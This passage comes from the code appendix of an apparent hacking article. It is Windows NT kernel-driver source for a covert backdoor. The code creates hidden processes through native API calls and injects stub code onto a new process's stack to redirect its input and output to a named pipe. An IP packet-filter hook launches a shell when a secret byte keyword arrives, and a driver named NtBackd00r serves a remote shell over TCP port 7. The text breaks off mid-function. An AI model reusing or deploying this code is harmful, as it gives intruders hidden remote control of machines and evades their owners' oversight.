Opcode; ULONG Status; ULONG Unknwon2; }CSRSS_MESSAGE,*PCSRSS_MESSAGE; } DYNAMIC_LOAD1(CsrClientCallServer) DYNAMIC_LOAD1(RtlDestroyProcessParameters) DYNAMIC_LOAD1(ZwWriteVirtualMemory) DYNAMIC_LOAD1(ZwResumeThread) DYNAMIC_LOAD1(ZwCreateThread) DYNAMIC_LOAD1(ZwProtectVirtualMemory) DYNAMIC_LOAD1(ZwCreateProcess) DYNAMIC_LOAD1(ZwRequestWaitReplyPort) DYNAMIC_LOAD1(ZwReadVirtualMemory) DYNAMIC_LOAD1(ZwCreateNamedPipeFile) DYNAMIC_LOAD1(LdrGetDllHandle) //Dynamic import of functions exported from ntdll.dll extern "C" void LoadFuncs() { static PVOID pNTDLL; if (!pNTDLL) { pNTDLL=FindNT(); DYNAMIC_LOAD2(CsrClientCallServer) DYNAMIC_LOAD2(RtlDestroyProcessParameters) DYNAMIC_LOAD2(ZwWriteVirtualMemory) DYNAMIC_LOAD2(ZwResumeThread) DYNAMIC_LOAD2(ZwCreateThread) DYNAMIC_LOAD2(ZwProtectVirtualMemory) DYNAMIC_LOAD2(ZwCreateProcess) DYNAMIC_LOAD2(ZwRequestWaitReplyPort) DYNAMIC_LOAD2(ZwReadVirtualMemory) DYNAMIC_LOAD2(ZwCreateNamedPipeFile) DYNAMIC_LOAD2(LdrGetDllHandle) } } //Informs CSRSS about new win32-process VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid) { // _asm int 3; struct CSRSS_MESSAGE { ULONG Unknown1; ULONG Opcode; ULONG Status; ULONG Unknown2; }; struct { NT::PORT_MESSAGE PortMessage; CSRSS_MESSAGE CsrssMessage; PROCESS_INFORMATION ProcessInformation; NT::CLIENT_ID Debugger; ULONG CreationFlags; ULONG VdmInfo[2]; } csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW*/, {0}}; CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24); } //Initialse empty environment PWSTR InitEnvironment(HANDLE hProcess) { PVOID p=0; DWORD dummy=0; DWORD n=sizeof(dummy); DWORD m; m=n; NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m, MEM_COMMIT, PAGE_READWRITE); ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0); return PWSTR(p); } // Clone of Ntdll::RtlCreateProcessParameters... VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp, NT::PUNICODE_STRING ImageFile, NT::PUNICODE_STRING DllPath, NT::PUNICODE_STRING CurrentDirectory, NT::PUNICODE_STRING CommandLine, ULONG CreationFlag, NT::PUNICODE_STRING WindowTitle, NT::PUNICODE_STRING Desktop, NT::PUNICODE_STRING Reserved, NT::PUNICODE_STRING Reserved2){ NT::PROCESS_PARAMETERS* lpp; ULONG Size=sizeof(NT::PROCESS_PARAMETERS); if(ImageFile) Size+=ImageFile->MaximumLength; if(DllPath) Size+=DllPath->MaximumLength; if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength; if(CommandLine) Size+=CommandLine->MaximumLength; if(WindowTitle) Size+=WindowTitle->MaximumLength; if(Desktop) Size+=Desktop->MaximumLength; if(Reserved) Size+=Reserved->MaximumLength; if(Reserved2) Size+=Reserved2->MaximumLength; //Allocate the buffer.. *pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT::NonPagedPool,Size); lpp=*pp; RtlZeroMemory(lpp,Size); lpp->AllocationSize=PAGE_SIZE; lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added (if any) lpp->hStdInput=0; lpp->hStdOutput=0; lpp->hStdError=0; if(CurrentDirectory){ lpp->CurrentDirectoryName.Length=CurrentDirectory->Length; lpp->CurrentDirectoryName.MaximumLength=CurrentDirectory->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CurrentDirectory->Buffer,CurrentDirectory->Length); lpp->CurrentDirectoryName.Buffer=(PWCHAR)lpp->Size; lpp->Size+=CurrentDirectory->MaximumLength; } if(DllPath){ lpp->DllPath.Length=DllPath->Length; lpp->DllPath.MaximumLength=DllPath->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,DllPath->Buffer,DllPath->Length); lpp->DllPath.Buffer=(PWCHAR)lpp->Size; lpp->Size+=DllPath->MaximumLength; } if(ImageFile){ lpp->ImageFile.Length=ImageFile->Length; lpp->ImageFile.MaximumLength=ImageFile->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,ImageFile->Buffer,ImageFile->Length); lpp->ImageFile.Buffer=(PWCHAR)lpp->Size; lpp->Size+=ImageFile->MaximumLength; } if(CommandLine){ lpp->CommandLine.Length=CommandLine->Length; lpp->CommandLine.MaximumLength=CommandLine->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CommandLine->Buffer,CommandLine->Length); lpp->CommandLine.Buffer=(PWCHAR)lpp->Size; lpp->Size+=CommandLine->MaximumLength; } if(WindowTitle){ lpp->WindowTitle.Length=WindowTitle->Length; lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,WindowTitle->Buffer,WindowTitle->Length); lpp->WindowTitle.Buffer=(PWCHAR)lpp->Size; lpp->Size+=WindowTitle->MaximumLength; } if(Desktop){ lpp->Desktop.Length=Desktop->Length; lpp->Desktop.MaximumLength=Desktop->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Desktop->Buffer,Desktop->Length); lpp->Desktop.Buffer=(PWCHAR)lpp->Size; lpp->Size+=Desktop->MaximumLength; } if(Reserved){ lpp->Reserved2.Length=Reserved->Length; lpp->Reserved2.MaximumLength=Reserved->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved->Buffer,Reserved->Length); lpp->Reserved2.Buffer=(PWCHAR)lpp->Size; lpp->Size+=Reserved->MaximumLength; } /* if(Reserved2){ lpp->Reserved3.Length=Reserved2->Length; lpp->Reserved3.MaximumLength=Reserved2->MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved2->Buffer,Reserved2->Length); lpp->Reserved3.Buffer=(PWCHAR)lpp->Size; lpp->Size+=Reserved2->MaximumLength; }*/ } VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb, NT::PUNICODE_STRING ImageFile, HANDLE hPipe) { NT::PPROCESS_PARAMETERS pp; NT::UNICODE_STRING CurrentDirectory; NT::UNICODE_STRING DllPath; NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\"); NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\"); RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, ImageFile, 0, 0, 0, 0, 0); pp->hStdInput=hPipe; pp->hStdOutput=hPipe;//hStdOutPipe; pp->hStdError=hPipe;//hStdOutPipe; pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW; pp->Environment = InitEnvironment(hProcess); ULONG n = pp->Size; PVOID p = 0; NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE); ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0); ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0); RtlDestroyProcessParameters(pp); } namespace NT { extern "C" { DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev); BOOL WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID); }} NTSTATUS BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor) { //_asm int 3; SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, SECURITY_WORLD_RID}; SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID}; char daclbuf[PAGE_SIZE]; NT::PACL dacl = (NT::PACL)&daclbuf; char sdbuf[PAGE_SIZE]; NT::PSECURITY_DESCRIPTOR sd = &sdbuf; NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION); if (!NT_SUCCESS(status)) return status; status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &SeWorldSid); if (!NT_SUCCESS(status)) return status; RtlZeroMemory(sd, PAGE_SIZE); status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION); if (!NT_SUCCESS(status)) return status; status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE); if (!NT_SUCCESS(status)) return status; status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE); if (!NT_SUCCESS(status)) return status; if (!NT::RtlValidSecurityDescriptor(sd)) { _asm int 3; } //To try! ULONG buflen = PAGE_SIZE*2; *pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen); if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES; return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen); } #define PIPE_NAME_MAX 40*2 extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess) { NT::IO_STATUS_BLOCK iosb; NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd}; NT::LARGE_INTEGER nTimeOut; nTimeOut.QuadPart = (__int64)-1E7; return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess, FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut); } int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName) { HANDLE hProcess, hThread, hSection, hFile; //_asm int 3; NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE}; NT::IO_STATUS_BLOCK iosb; NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); oa.ObjectName = 0; NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, SEC_IMAGE, hFile); NT::ZwClose(hFile); ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, NtCurrentProcess(), TRUE, hSection, 0, 0); NT::SECTION_IMAGE_INFORMATION sii; NT::ZwQuerySection(hSection, NT::SectionImageInformation, &sii, sizeof sii, 0); NT::ZwClose(hSection); NT::USER_STACK stack = {0}; ULONG n = sii.StackReserve; NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE); stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom) + sii.StackReserve; stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase) - sii.StackCommit; /* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on stack*/ n = sii.StackCommit + PAGE_SIZE; PVOID p = PCHAR(stack.ExpandableStackBase) - n; NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_EXECUTE_READWRITE); ULONG x; n = PAGE_SIZE; ZwProtectVirtualMemory(hProcess, &p, &n, PAGE_READWRITE | PAGE_GUARD, &x); NT::CONTEXT context = {CONTEXT_FULL}; context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp = ULONG(stack.ExpandableStackBase) - 4; context.Eip = ULONG(sii.EntryPoint); NT::CLIENT_ID cid; ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa, hProcess, &cid, &context, &stack, TRUE); NT::PROCESS_BASIC_INFORMATION pbi; NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pbi, sizeof pbi, 0); HANDLE hPipe,hPipe1; oa.ObjectName = PipeName; oa.Attributes = OBJ_INHERIT; if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)) return 0; NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe, 0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE); CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe); InformCsrss(hProcess, hThread, ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread)); ZwResumeThread(hThread, 0); NT::ZwClose(hProcess); NT::ZwClose(hThread); return int(cid.UniqueProcess); } int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName) { NT::UNICODE_STRING ImageFile; NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName); return exec_piped(&ImageFile, PipeName); } ----[ 8.5 - NebbetCreateProcess.diff 268a269,384 > typedef > WINBASEAPI > BOOL > (WINAPI > *f_SetStdHandle)( > IN DWORD nStdHandle, > IN HANDLE hHandle > ); > typedef > WINBASEAPI > HANDLE > (WINAPI > *f_CreateFileW)( > IN LPCWSTR lpFileName, > IN DWORD dwDesiredAccess, > IN DWORD dwShareMode, > IN LPSECURITY_ATTRIBUTES lpSecurityAttributes, > IN DWORD dwCreationDisposition, > IN DWORD dwFlagsAndAttributes, > IN HANDLE hTemplateFile > ); > #ifdef _DEBUG > typedef > WINBASEAPI > DWORD > (WINAPI > *f_GetLastError)( > VOID > ); > #endif > typedef VOID (*f_EntryPoint)(VOID); > > struct s_data2embed > { > wchar_t PipeName[PIPE_NAME_MAX]; > //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX]; > f_SetStdHandle pSetStdHandle; > f_CreateFileW pCreateFileW; > f_EntryPoint EntryPoint; > #ifdef _DEBUG > f_GetLastError pGetLastError; > #endif > }; > > //void before_code2embed(){}; > void code2embed(s_data2embed *embedded_data) > { > HANDLE hPipe; > > __asm int 3; > hPipe = embedded_data->pCreateFileW(embedded_data->PipeName, > GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, > 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/, > NULL, > OPEN_EXISTING, > 0/*FILE_ATTRIBUTE_NORMAL*/, > NULL); > embedded_data->pGetLastError(); > /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont; > hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName, > GENERIC_WRITE | SYNCHRONIZE, > FILE_SHARE_READ /*| FILE_SHARE_WRITE*, > NULL, > OPEN_EXISTING, > 0, > NULL); > embedded_data->pGetLastError(); > if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */ > if (hPipe!=INVALID_HANDLE_VALUE) > { > embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe); > embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe); > embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe); > } > embedded_data->EntryPoint(); > } > __declspec(naked) void after_code2embed(){}; > #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed) > > void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack) > { > s_data2embed data2embed; > PVOID pKERNEL32; > NT::UNICODE_STRING ModuleFileName; > > _asm int 3; > > *pCode = 0; > *pNewStack = 0; > NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll"); > LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32); > if (!pKERNEL32) return; > data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHandle"); > data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32, "CreateFileW"); > #ifdef _DEBUG > data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastError"); > #endif > if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return; > data2embed.EntryPoint=(f_EntryPoint)EntryPoint; > wcscpy(data2embed.PipeName, PipeName); > //wcscpy(data2embed.WPipeName, WPipeName); > char* p = (char*)pStack - sizeof_code2embed; > if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) return; > *pCode = (ULONG)p; > > p -= sizeof s_data2embed; > if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) return; > > PVOID pData = (PVOID)p; > p -= sizeof pData; > if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return; > > p -= 4; > *pNewStack = (ULONG)p; > } > 317a434,437 > ULONG newEIP, NewStack; > redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.ExpandableStackBase, &newEIP, &NewStack); > if ((!NewStack)||(!newEIP)) return 0; > 326,327c446,449 < context.Esp = ULONG(stack.ExpandableStackBase) - 4; < context.Eip = ULONG(sii.EntryPoint); --- > //loader code is on the stack > context.Esp = NewStack; > context.Eip = newEIP; ----[ 8.6 - NtdllDynamicLoader.cpp #include //#include "UndocKernel.h" #include "DynLoadFromNtdll.h" //Example A.2 from Nebbet's book //Search loaded module by name PVOID FindModule(char *module) { ULONG n; //Request necessary size of buffer NT::ZwQuerySystemInformation(NT::SystemModuleInformation, &n, 0, &n); //Allocate memory for n structures PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); //Request information about modules NT::ZwQuerySystemInformation(NT::SystemModuleInformation, q, n * sizeof *q, 0); //Module counter located at address q, information begins at q+1 NT::PSYSTEM_MODULE_INFORMATION p = NT::PSYSTEM_MODULE_INFORMATION(q + 1); PVOID ntdll = 0; //Cycle for each module ... for (ULONG i = 0; i < *q; i++) { //...compare it's name with looked for... if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset, module) == 0) { //...and stop if module found ntdll = p[i].Base; break; } } //Free memory NT::ExFreePool(q); return ntdll; } PVOID FindNT() { return FindModule("ntdll.dll"); } //Search exported function named Name in module, loaded at addrress Base PVOID FindFunc(PVOID Base, PCSTR Name) { //At addrress Base there is DOS EXE header PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base); //Extract offset of PE-header from it PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew); //Evaluate pointer to section table, //according to directory of exported functions PIMAGE_DATA_DIRECTORY expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //Extract address and size of that table ULONG size = expdir->Size; ULONG addr = expdir->VirtualAddress; //Evaluate pointers: // - to directory of exported functions PIMAGE_EXPORT_DIRECTORY exports = PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr); // - to table of addresses PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions); // - to table of ordinals PSHORT ordinals = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals); // - to table of names PULONG names = PULONG(PCHAR(Base) + exports->AddressOfNames); //Cycle through table of names ... for (ULONG i = 0; i < exports->NumberOfNames; i++) { //Ordinal that matches name is index in the table of addresses ULONG ord = ordinals[i]; //Test is the address correct if (functions[ord] < addr || functions[ord] >= addr + size) { //If function name matches looked for... if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0) //then return it's address return PCHAR(Base) + functions[ord]; } } //Function not found return 0; } ----[ 8.7 - Filtering.cpp extern "C" { #include #include #include #include "filtering.h" #include "Sniffer.h" NTSYSAPI NTSTATUS NTAPI ZwLoadDriver( IN PUNICODE_STRING DriverServiceName ); } extern PF_FORWARD_ACTION PacketFilter( IN IPHeader *PacketHeader, IN unsigned char *Packet, IN unsigned int PacketLength, IN unsigned int RecvInterfaceIndex, IN unsigned int SendInterfaceIndex, IN IPAddr RecvLinkNextHop, IN IPAddr SendLinkNextHop ); NTSTATUS globalresult; PDEVICE_OBJECT pDeviceObject; PFILE_OBJECT pFileObject; KEVENT Event; NTSTATUS SutdownFiltering() { if ((pDeviceObject)&&(pFileObject)) { globalresult=SetupFiltering(NULL); ObDereferenceObject(pFileObject); return globalresult; } else return STATUS_SUCCESS; } NTSTATUS InitFiltering() { UNICODE_STRING FiltDrvName; UNICODE_STRING DSN={0}; //_asm int 3; RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFILTERDRIVER"); pDeviceObject=NULL; retry: IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE|GENERIC_READ|GENERIC_WRITE,&pFileObject,&pDeviceObject); if ((!pDeviceObject)&&(!DSN.Length)) { RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver"); ZwLoadDriver(&DSN); goto retry; } if (pDeviceObject) { KeInitializeEvent(&Event,NotificationEvent,FALSE); return SetupFiltering(&PacketFilter); } else return STATUS_OBJECT_NAME_NOT_FOUND; } NTSTATUS SetupFiltering(void *PacketFilterProc) { IO_STATUS_BLOCK iostb; LARGE_INTEGER Timeout; PIRP pirp = NULL; //_asm int 3; pirp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,pDeviceObject,(PPF_SET_EXTENSION_HOOK_INFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK_INFO),NULL,0,FALSE,&Event,&iostb); if (!pirp) { return STATUS_UNSUCCESSFUL; } globalresult=IoCallDriver(pDeviceObject,pirp); if (globalresult == STATUS_PENDING) { Timeout.QuadPart=100000000; if (KeWaitForSingleObject(&Event,Executive,KernelMode,FALSE,&Timeout)!=STATUS_SUCCESS) return STATUS_UNSUCCESSFUL; globalresult = pirp->IoStatus.Status; } return globalresult; } ----[ 8.8 - MPFD_main.cpp extern "C" { #include #include #include #include "Sniffer.h" #include "Filtering.h" } extern VOID ShellStarter(VOID* StartShellEvent); HANDLE hShellStarterTread=NULL; BOOLEAN Terminating=FALSE; KEVENT StartShellEvent; unsigned char * __cdecl memfind( const unsigned char * str1, unsigned int n1, const unsigned char * str2, unsigned int n2 ) { if (n2>n1) return NULL; unsigned char *cp = (unsigned char *) str1; unsigned char *s1, *s2; unsigned int x; for (unsigned int i=0;i<=n1-n2;i++) { s1 = cp; s2 = (unsigned char *) str2; x=n2; while (x && !(*s1-*s2) ) s1++, s2++, x--; if (!x) return(cp); cp++; } return(NULL); } unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x31\xE1\xD6"; PF_FORWARD_ACTION PacketFilter( IN IPHeader *PacketHeader, IN unsigned char *Packet, IN unsigned int PacketLength, IN unsigned int RecvInterfaceIndex, IN unsigned int SendInterfaceIndex, IN IPAddr RecvLinkNextHop, IN IPAddr SendLinkNextHop ) { if (memfind(Packet,PacketLength,keyword,sizeof(keyword))) { HANDLE ThreadHandle; KeSetEvent(&StartShellEvent, 0, FALSE); } return PF_PASS; } NTSTATUS OnStubDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest (Irp, IO_NO_INCREMENT ); return Irp->IoStatus.Status; } VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { #if (DBG) DbgPrint("MPFD: OnUnload called\n"); #endif PVOID ThreadObj; SutdownFiltering(); if (hShellStarterTread) { Terminating=TRUE; ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL, KernelMode, &ThreadObj, NULL); KeSetEvent(&StartShellEvent, 0, TRUE); KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL); } } #pragma code_seg("INIT") NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { NTSTATUS status; #if (DBG) DbgPrint("MPFD:In DriverEntry\n"); #endif UNREFERENCED_PARAMETER(RegistryPath); for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = OnStubDispatch; } DriverObject->DriverUnload = OnUnload; status=InitFiltering(); if (status!=STATUS_SUCCESS) return status; KeInitializeEvent(&StartShellEvent,SynchronizationEvent,FALSE); OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent); return status; } ----[ 8.9 - NtBackd00r.cpp // NtBackd00r.cpp // // Generated by Driver::Wizard version 2.0 #define VDW_MAIN #include #include #include #include "function.h" #include "NtBackd00r.h" #pragma hdrstop("NtBackd00r.pch") #if (DBG) #define dprintf DbgPrint #else #define dprintf #endif extern "C" { NTSYSAPI NTSTATUS NTAPI ZwWaitForMultipleObjects( IN ULONG HandleCount, IN PHANDLE Handles, IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ZwCreateEvent( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); NTSYSAPI NTSTATUS NTAPI ZwSetEvent( IN HANDLE EventHandle, OUT PULONG PreviousState OPTIONAL ); } extern "C" void LoadFuncs(); extern "C" HANDLE StartShell(PHANDLE phPipe); extern VOID ShellStarter(VOID* StartShellEvent); ///////////////////////////////////////////////////////////////////// // Begin INIT section #pragma code_seg("INIT") DECLARE_DRIVER_CLASS(NtBackd00r, NULL) ///////////////////////////////////////////////////////////////////// // Driver Entry // NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(RegistryPath); //Dynamic import of functions exported from ntdll.dll LoadFuncs(); // Initialize the TDIClient framework first if (!KTDInterface::Initialize()) { // something wrong with TDI return STATUS_NOT_FOUND; } // Create TCP server, port 7 CIPTRANSPORT_ADDRESS TCP_port(IPPORT_ECHO); m_pListener = new(NonPagedPool) KStreamServer (TCP_port); // If succeeded - enable network events if (m_pListener && m_pListener->IsCreated()) { m_pListener->SetEvents(TRUE); dprintf("NtBackd00rDevice: Listener started\n"); } else { dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n"); return STATUS_INSUFFICIENT_RESOURCES; } //Create dummy device for IoQueueWorkItem m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL); if (m_pDummyDevice == NULL) { return STATUS_INSUFFICIENT_RESOURCES; } return STATUS_SUCCESS; } #pragma code_seg() #pragma warning( disable : 4706 ) //This message will be sen to client in case of failure when starting shell char errtxt_shell[]="cant start shell"; ////////////////////////////////////////////////////////////////////////////// // Unload is responsible for releasing any system objects that // the driver has allocated. // VOID NtBackd00r::Unload(VOID) { if (m_pListener) { // Disable network event notifications m_pListener->SetEvents(FALSE); // Iterate through the list of active sessions // and forcefully disconnect all active sessions Session* p; TDI_STATUS Status; while ( p = m_ActiveSessionList.RemoveHead() ) { // Thread handle must be extracted before dele p HANDLE hWorkerThread = p->hDataPumpThread; // By default, this method will perform an // abortive disconnect (RST) Status = p->disconnect(); ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status); delete p; // It's required to wait for termination of worker threads, // or else unloading driver will cause BSOD if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread, FALSE, NULL); } // Wait for all outstanding requests to complete // By issuing a disconnect for all sessions, any // pending requests should be completed by the transport m_pListener->Wait(); // destroy the socket delete m_pListener; m_pListener = NULL; dprintf("NtBackd00rDevice: Listener stopped\n"); } delete m_pDummyDevice; // Call base class destructor to delete all devices. KDriver::Unload(); } // Frees buffers, given to ZwWriteFile for asynchronous write VOID NTAPI ApcCallbackWriteComplete( IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved ) { UNREFERENCED_PARAMETER(IoStatusBlock); UNREFERENCED_PARAMETER(Reserved); // delete (uchar *)ApcContext; } #define SENDS_QUEUED_THRESHOLD 3 // Thread, that transfers data between named pipe and socket VOID DataPumpThread(IN PVOID thiz1) { IO_STATUS_BLOCK send_iosb, rcv_iosb; uchar *send_buf, *rcv_buf; ULONG rd; const bufsize=0x1000; NTSTATUS status; LARGE_INTEGER ResendInterval; //loacl copy of Pipes needed for correct thread termination //after deleting Session s_Pipes *Pipes; Session* thiz=(Session*)thiz1; Pipes=thiz->m_Pipes; ResendInterval.QuadPart = (__int64)1E6; //0.1c //Create FIFO //Source of BSOD at high IRQL thiz->pWBytePipe = new(NonPagedPool) KLockableFifo(0x100000, NonPagedPool); //Lock socket to avoid sudden deletion of it thiz->Lock(); //send_buf alocated here, deleted in OnSendComplete send_buf = new(NonPagedPool) uchar[bufsize]; //Start asynchronous read status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL); if (status==STATUS_SUCCESS) { //Send read data to client status=thiz->send(send_buf, send_iosb.Information, send_buf); if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS)) dprintf("send error %08x\n"); //to avoid recurring send of same data send_iosb.Status = -1; } while (1) switch (ZwWaitForMultipleObjects(2, 